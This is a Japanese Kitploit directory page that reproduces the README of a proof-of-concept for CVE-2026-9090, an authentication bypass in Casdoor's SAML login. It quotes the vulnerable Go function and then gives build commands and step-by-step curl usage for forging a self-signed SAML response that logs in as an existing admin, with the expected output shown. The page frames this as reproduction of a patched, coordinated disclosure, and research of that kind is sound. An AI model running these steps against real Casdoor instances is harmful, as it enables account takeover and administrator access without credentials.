Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-9090-poc — CVE-2026-9090 の PoC — Casdoor SAML 署名バイパス (CWE-347)。再現専用。CERT/CC VU#780781 を通じて調整済み。 | Kitploit
ツール/GitHubGitHub/kimdir01/cve-2026-9090-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証
GitHubkimdir01/cve-2026-9090-poc

CVE-2026-9090-poc

CVE-2026-9090 の PoC — Casdoor SAML 署名バイパス (CWE-347)。再現専用。CERT/CC VU#780781 を通じて調整済み。

リポジトリを見る
5日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9090 — Casdoor SAML署名バイパス(PoC)

CVE-2026-9090(CWE-347、暗号署名の不適切な検証)の概念実証であり、Casdoor IDプラットフォームにおける認証バイパスです。

クレジット. CVE-2026-9090はCERT/CCによって公開・調整されました — 詳細は VU#780781 を参照してください。このリポジトリは、既に公開されている脆弱性に対する 独立した再現専用の概念実証であり、この問題の発見を主張するものではありません。

脆弱性の概要

CasdoorがPOST /api/acs(外部SAMLプロバイダー経由のログイン)でSAMLレスポンスを処理する際、 buildSpCertificateStore関数は、IDプロバイダーに登録された証明書ではなく、受信したSAMLレスポンス自体に埋め込まれた <X509Certificate> から署名トラストアンカーを構築します。

root@kitploit:~
// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

トラストアンカーがレスポンスから取得されるため、攻撃者は自身の自己署名証明書でSAMLアサーションに署名し、 その証明書をレスポンスに埋め込むと、署名は自分自身に対して検証されます。NameIDを既存のユーザーに設定すると そのアカウントに解決され、管理者であれば攻撃者は管理者セッションを取得できます。パスワードは関与しません。

  • 影響を受けるバージョン: Casdoor <= 2.362.0
  • 修正済み: 以降のリリースでは、登録済みの provider.IdP のみからストアを構築します (buildSpCertificateStore(provider *Provider) はレスポンスを読み取りません)。最新リリースにアップグレードしてください。
  • 分類: CWE-347 — 自己参照型トラストアンカー。

このPoCの機能

forge_saml.goは、使い捨ての自己署名鍵で署名されたアサーションを持つ完全なSAMLレスポンスを構築し、その鍵の証明書を<ds:KeyInfo><ds:X509Certificate>に埋め込みます。Casdoorが使用しているのと同じgoxmldsigライブラリを使用するため、正準化と署名形式はそのまま受理されます。

ビルド

root@kitploit:~
go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

使用方法

root@kitploit:~
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'

APP、ORG、SAML_PROVIDERは、それぞれアプリケーション名、組織、そのアプリケーションにバインドされたSAMLプロバイダーです。Casdoorアプリケーションの登録情報(バインドされたプロバイダーを含む)は、/api/get-application?id=admin/<name>で参照できます。

責任ある利用

このPoCは、修正済みで公開済みの脆弱性を対象として、防御的テスト、検知エンジニアリング、および研究のために公開されています。テストを許可されたシステムに対してのみ実行してください。正しい対策は、buildSpCertificateStoreが登録済みプロバイダー証明書に対して検証を行うリリースにCasdoorをアップグレードすることです。

参照

  • CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
  • Casdoor — https://github.com/casdoor/casdoor
  • CWE-347 — https://cwe.mitre.org/data/definitions/347.html

ライセンス

MIT — LICENSEを参照してください。

ツールをダウンロード